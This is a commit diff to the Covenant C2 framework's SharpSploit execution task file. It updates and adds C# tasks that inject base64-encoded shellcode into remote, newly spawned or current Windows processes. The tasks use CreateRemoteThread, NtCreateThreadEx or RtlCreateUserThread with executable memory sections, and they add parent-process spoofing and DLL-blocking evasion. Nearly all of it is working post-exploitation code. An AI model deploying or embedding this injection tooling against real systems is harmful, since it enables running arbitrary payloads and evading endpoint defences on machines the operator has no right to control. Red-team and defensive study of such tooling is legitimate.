Skip to content

Commit 918df28

Browse files
committed
Update ProcessInjectionRemote, ProcessInjectionSpawn and add ProcessInjectionLocal
1 parent 352f5af commit 918df28

File tree

1 file changed

+165
-15
lines changed

1 file changed

+165
-15
lines changed

Covenant/Data/Tasks/SharpSploit.Execution.yaml

Lines changed: 165 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1053,27 +1053,27 @@
10531053
EmbeddedResources: []
10541054
ReferenceAssemblies: []
10551055
EmbeddedResources: []
1056-
- Name: ProcessInjection
1056+
- Name: ProcessInjectionRemote
10571057
Aliases: []
10581058
Author:
1059-
Name: 'Simone Salucci & Daniel López'
1059+
Name: Simone Salucci & Daniel López
10601060
Handle: '@saim1z @attl4s'
10611061
Link: ''
1062-
Description: Injects and executes the specified shellcode into the process specified by the ProcessID parameter using one of the available techniques
1062+
Description: Injects and executes the specified Positional Independent Code into the process specified by the ProcessID parameter using one of the available techniques.
10631063
Help:
10641064
Language: CSharp
10651065
CompatibleDotNetVersions:
10661066
- Net35
10671067
- Net40
1068-
Code: "using System;\nusing System.Diagnostics;\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string ProcessID, string ShellCode)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n\n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;}\n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n int ProcID;\n int currentProcessID = Process.GetCurrentProcess().Id;\n if (ProcessID == \"\" || ProcessID == \"\\\"\")\n {\n ProcID = currentProcessID;\n output += \"PID not specified, shellcode will be injected into the current process\\n\";\n }\n else\n {\n ProcID = Int32.Parse(ProcessID);\n }\n \n Process proc = Process.GetProcessById(ProcID);\n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(ShellCode));\n IntPtr payloadLocation = allocationTechnique.Allocate(payload, proc);\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName + \" with PID \" + ProcID;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}"
1068+
Code: "using System;\nusing System.Diagnostics;\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string ProcessID, string PICpayload)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n\n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;}\n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n if (ProcessID == \"\" || ProcessID == \"\\\"\")\n {\n output += \"No ProcessID passed as argument. Please specify a valid ProcessID\";\n }\n \n int ProcID = Int32.Parse(ProcessID); \n Process proc = Process.GetProcessById(ProcID);\n \n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n \n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(PICpayload));\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName + \" with PID \" + ProcID;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}"
10691069
TaskingType: Assembly
10701070
UnsafeCompile: false
10711071
TokenTask: false
10721072
Options:
10731073
- Name: ExecutionTechnique
10741074
Value: ''
10751075
DefaultValue: CreateRemoteThread
1076-
Description: The technique used to execute the specified shellcode.
1076+
Description: The technique used to execute the specified Positional Independent Code.
10771077
SuggestedValues:
10781078
- CreateRemoteThread
10791079
- NtCreateThreadEx
@@ -1084,15 +1084,15 @@
10841084
- Name: ProcessID
10851085
Value: ''
10861086
DefaultValue: ''
1087-
Description: Process ID of the process to impersonate. If empty, the shellcode will be injected into the current process.
1087+
Description: Process ID of the process to impersonate.
10881088
SuggestedValues: []
1089-
Optional: true
1089+
Optional: false
10901090
DisplayInCommand: true
10911091
FileOption: false
1092-
- Name: ShellCode
1092+
- Name: PICpayload
10931093
Value: ''
10941094
DefaultValue: ''
1095-
Description: ShellCode to Inject.
1095+
Description: Positional Independent Code to inject into the target process.
10961096
SuggestedValues: []
10971097
Optional: false
10981098
DisplayInCommand: false
@@ -1178,16 +1178,16 @@
11781178
- Name: ProcessInjectionSpawn
11791179
Aliases: []
11801180
Author:
1181-
Name: 'Simone Salucci & Daniel López'
1181+
Name: Simone Salucci & Daniel López
11821182
Handle: '@saim1z @attl4s'
11831183
Link: ''
1184-
Description: Creates a new process using the createProcess Win32 API call through PInvoke and injects and executes the specified shellcode using one of the available techniques
1184+
Description: Creates a new process using the createProcess Win32 API call through PInvoke and injects and executes the specified Positional Independent Code using one of the available techniques. Supports Parent Process Spoofing (PPID) and the BlockDLL attribute.
11851185
Help:
11861186
Language: CSharp
11871187
CompatibleDotNetVersions:
11881188
- Net35
11891189
- Net40
1190-
Code: "using System;\nusing System.Diagnostics;\n\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string ProcessName, string ShellCode,string ParentPID)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n\n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;} \n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n int ProcID;\n if (ParentPID == \"\" || ParentPID == \"\\\"\")\n {\n ProcID = (int)Shell.CreateProcessPInvoke(ProcessName).dwProcessId;\n }\n else\n {\n int PPID = Int32.Parse(ParentPID);\n ProcID = (int)Shell.CreateProcessPInvokePPID(ProcessName,PPID).dwProcessId;\n }\n \n Process proc = Process.GetProcessById(ProcID);\n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(ShellCode));\n IntPtr payloadLocation = allocationTechnique.Allocate(payload, proc);\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}\n\n"
1190+
Code: "using System;\nusing System.Diagnostics;\nusing SharpSploit.Execution;\nusing SharpSploit.Execution.Injection;\n\npublic static class Task\n{\n public static string Execute(string ExecutionTechnique, string Binary, string PICpayload, string ParentPID, string BlockDLL)\n {\n string output = \"\";\n RemoteThreadCreate.APIS apiTechnique;\n \n if (ExecutionTechnique == \"CreateRemoteThread\") {apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;}\n else if (ExecutionTechnique == \"NtCreateThreadEx\") {apiTechnique = RemoteThreadCreate.APIS.NtCreateThreadEx;}\n else if (ExecutionTechnique == \"RtlCreateUserThread\") {apiTechnique = RemoteThreadCreate.APIS.RtlCreateUserThread;} \n else if (ExecutionTechnique == \"\" || ExecutionTechnique == \"\\\"\")\n {\n apiTechnique = RemoteThreadCreate.APIS.CreateRemoteThread;\n output += \"No technique passed as argument. CreateRemoteThread technique was used\\n\";\n }\n else\n {\n output += \"Injection technique \" + ExecutionTechnique + \" is not implemented. Choose one of the following values:\\n\" +\n \"CreateRemoteThread\\n\" +\n \"NtCreateThreadEx\\n\" +\n \"RtlCreateUserThread\\n\";\n return output;\n }\n \n try\n { \n bool BlockDLLb = (BlockDLL.ToLower() == \"true\" ? true : false);\n \n int ProcID;\n if (ParentPID == \"\" || ParentPID == \"\\\"\")\n {\n ProcID = (int)Shell.CreateProcessPInvoke(Binary,BlockDLLb).dwProcessId;\n }\n else\n {\n int PPID = Int32.Parse(ParentPID);\n ProcID = (int)Shell.CreateProcessPInvokePPID(Binary,PPID,BlockDLLb).dwProcessId;\n }\n \n Process proc = Process.GetProcessById(ProcID);\n RemoteThreadCreate injectionTechnique = new RemoteThreadCreate\n {\n api = apiTechnique,\n suspended = false\n };\n SectionMapAlloc allocationTechnique = new SectionMapAlloc\n {\n localSectionPermissions = Win32.WinNT.PAGE_READWRITE,\n remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,\n sectionAttributes = Win32.WinNT.SEC_COMMIT\n };\n\n PICPayload payload = new PICPayload(Convert.FromBase64String(PICpayload));\n Injector.Inject(payload, allocationTechnique, injectionTechnique, proc);\n \n output += \"Attempting to inject the provided shellcode into process \" + proc.ProcessName;\n return output;\n }\n catch (Exception e) { return e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}\n\n"
11911191
TaskingType: Assembly
11921192
UnsafeCompile: false
11931193
TokenTask: false
@@ -1203,18 +1203,18 @@
12031203
Optional: true
12041204
DisplayInCommand: true
12051205
FileOption: false
1206-
- Name: ProcessName
1206+
- Name: Binary
12071207
Value: ''
12081208
DefaultValue: ''
12091209
Description: Full path of the new process to spawn (e.g. C:\windows\system32\notepad.exe).
12101210
SuggestedValues: []
12111211
Optional: false
12121212
DisplayInCommand: true
12131213
FileOption: false
1214-
- Name: ShellCode
1214+
- Name: PICpayload
12151215
Value: ''
12161216
DefaultValue: ''
1217-
Description: ShellCode to Inject.
1217+
Description: Positional Independent Code to inject in the target process.
12181218
SuggestedValues: []
12191219
Optional: false
12201220
DisplayInCommand: false
@@ -1227,6 +1227,156 @@
12271227
Optional: true
12281228
DisplayInCommand: true
12291229
FileOption: false
1230+
- Name: BlockDLL
1231+
Value: ''
1232+
DefaultValue: False
1233+
Description: Boolean, whether to use BlockDDL.
1234+
SuggestedValues: []
1235+
Optional: true
1236+
DisplayInCommand: true
1237+
FileOption: false
1238+
ReferenceSourceLibraries:
1239+
- Name: SharpSploit
1240+
Description: SharpSploit is a library for C# post-exploitation modules.
1241+
Location: SharpSploit\SharpSploit\
1242+
Language: CSharp
1243+
CompatibleDotNetVersions:
1244+
- Net35
1245+
- Net40
1246+
ReferenceAssemblies:
1247+
- Name: System.Core.dll
1248+
Location: net40\System.Core.dll
1249+
DotNetVersion: Net40
1250+
- Name: System.DirectoryServices.dll
1251+
Location: net40\System.DirectoryServices.dll
1252+
DotNetVersion: Net40
1253+
- Name: System.DirectoryServices.Protocols.dll
1254+
Location: net40\System.DirectoryServices.Protocols.dll
1255+
DotNetVersion: Net40
1256+
- Name: System.dll
1257+
Location: net40\System.dll
1258+
DotNetVersion: Net40
1259+
- Name: System.IdentityModel.dll
1260+
Location: net40\System.IdentityModel.dll
1261+
DotNetVersion: Net40
1262+
- Name: System.Management.Automation.dll
1263+
Location: net40\System.Management.Automation.dll
1264+
DotNetVersion: Net40
1265+
- Name: System.Management.dll
1266+
Location: net40\System.Management.dll
1267+
DotNetVersion: Net40
1268+
- Name: System.ServiceProcess.dll
1269+
Location: net40\System.ServiceProcess.dll
1270+
DotNetVersion: Net40
1271+
- Name: mscorlib.dll
1272+
Location: net40\mscorlib.dll
1273+
DotNetVersion: Net40
1274+
- Name: System.XML.dll
1275+
Location: net35\System.XML.dll
1276+
DotNetVersion: Net35
1277+
- Name: System.Windows.Forms.dll
1278+
Location: net35\System.Windows.Forms.dll
1279+
DotNetVersion: Net35
1280+
- Name: System.dll
1281+
Location: net35\System.dll
1282+
DotNetVersion: Net35
1283+
- Name: System.DirectoryServices.Protocols.dll
1284+
Location: net35\System.DirectoryServices.Protocols.dll
1285+
DotNetVersion: Net35
1286+
- Name: System.DirectoryServices.dll
1287+
Location: net35\System.DirectoryServices.dll
1288+
DotNetVersion: Net35
1289+
- Name: System.Core.dll
1290+
Location: net35\System.Core.dll
1291+
DotNetVersion: Net35
1292+
- Name: mscorlib.dll
1293+
Location: net35\mscorlib.dll
1294+
DotNetVersion: Net35
1295+
- Name: System.IdentityModel.dll
1296+
Location: net35\System.IdentityModel.dll
1297+
DotNetVersion: Net35
1298+
- Name: System.Management.Automation.dll
1299+
Location: net35\System.Management.Automation.dll
1300+
DotNetVersion: Net35
1301+
- Name: System.Management.dll
1302+
Location: net35\System.Management.dll
1303+
DotNetVersion: Net35
1304+
- Name: System.ServiceProcess.dll
1305+
Location: net35\System.ServiceProcess.dll
1306+
DotNetVersion: Net35
1307+
- Name: System.Windows.Forms.dll
1308+
Location: net40\System.Windows.Forms.dll
1309+
DotNetVersion: Net40
1310+
- Name: System.XML.dll
1311+
Location: net40\System.XML.dll
1312+
DotNetVersion: Net40
1313+
EmbeddedResources: []
1314+
ReferenceAssemblies: []
1315+
EmbeddedResources: []
1316+
- Name: ProcessInjectionLocal
1317+
Aliases: []
1318+
Author:
1319+
Name: Simone Salucci & Daniel López
1320+
Handle: '@saim1z @attl4s'
1321+
Link: ''
1322+
Description: Injects and executes the specified Positional Independent Code into the current process.
1323+
Help:
1324+
Language: CSharp
1325+
CompatibleDotNetVersions:
1326+
- Net35
1327+
- Net40
1328+
Code: >-
1329+
using System;
1330+
1331+
using System.Diagnostics;
1332+
1333+
using System.Runtime.InteropServices;
1334+
1335+
using SharpSploit.Execution;
1336+
1337+
using SharpSploit.Execution.Injection;
1338+
1339+
1340+
public static class Task
1341+
1342+
{
1343+
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
1344+
private delegate Int32 Run();
1345+
1346+
public static string Execute(string PICpayload)
1347+
{
1348+
try
1349+
{
1350+
Process proc = Process.GetCurrentProcess();
1351+
SectionMapAlloc allocationTechnique = new SectionMapAlloc
1352+
{
1353+
localSectionPermissions = Win32.WinNT.PAGE_READWRITE,
1354+
remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,
1355+
sectionAttributes = Win32.WinNT.SEC_COMMIT
1356+
};
1357+
1358+
PICPayload payload = new PICPayload(Convert.FromBase64String(PICpayload));
1359+
IntPtr baseAddr = allocationTechnique.Allocate(payload, proc);
1360+
Run del = (Run)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(Run));
1361+
del();
1362+
return "ShellCode execution succeeded.";
1363+
}
1364+
catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
1365+
return "ShellCode execution failed.";
1366+
}
1367+
}
1368+
TaskingType: Assembly
1369+
UnsafeCompile: false
1370+
TokenTask: false
1371+
Options:
1372+
- Name: PICpayload
1373+
Value: ''
1374+
DefaultValue: ''
1375+
Description: Positional Independent Code to inject into the current process.
1376+
SuggestedValues: []
1377+
Optional: false
1378+
DisplayInCommand: false
1379+
FileOption: true
12301380
ReferenceSourceLibraries:
12311381
- Name: SharpSploit
12321382
Description: SharpSploit is a library for C# post-exploitation modules.

0 commit comments

Comments
 (0)